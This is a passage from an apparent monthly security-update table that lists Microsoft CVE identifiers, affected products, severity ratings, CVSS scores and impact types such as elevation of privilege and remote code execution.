Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  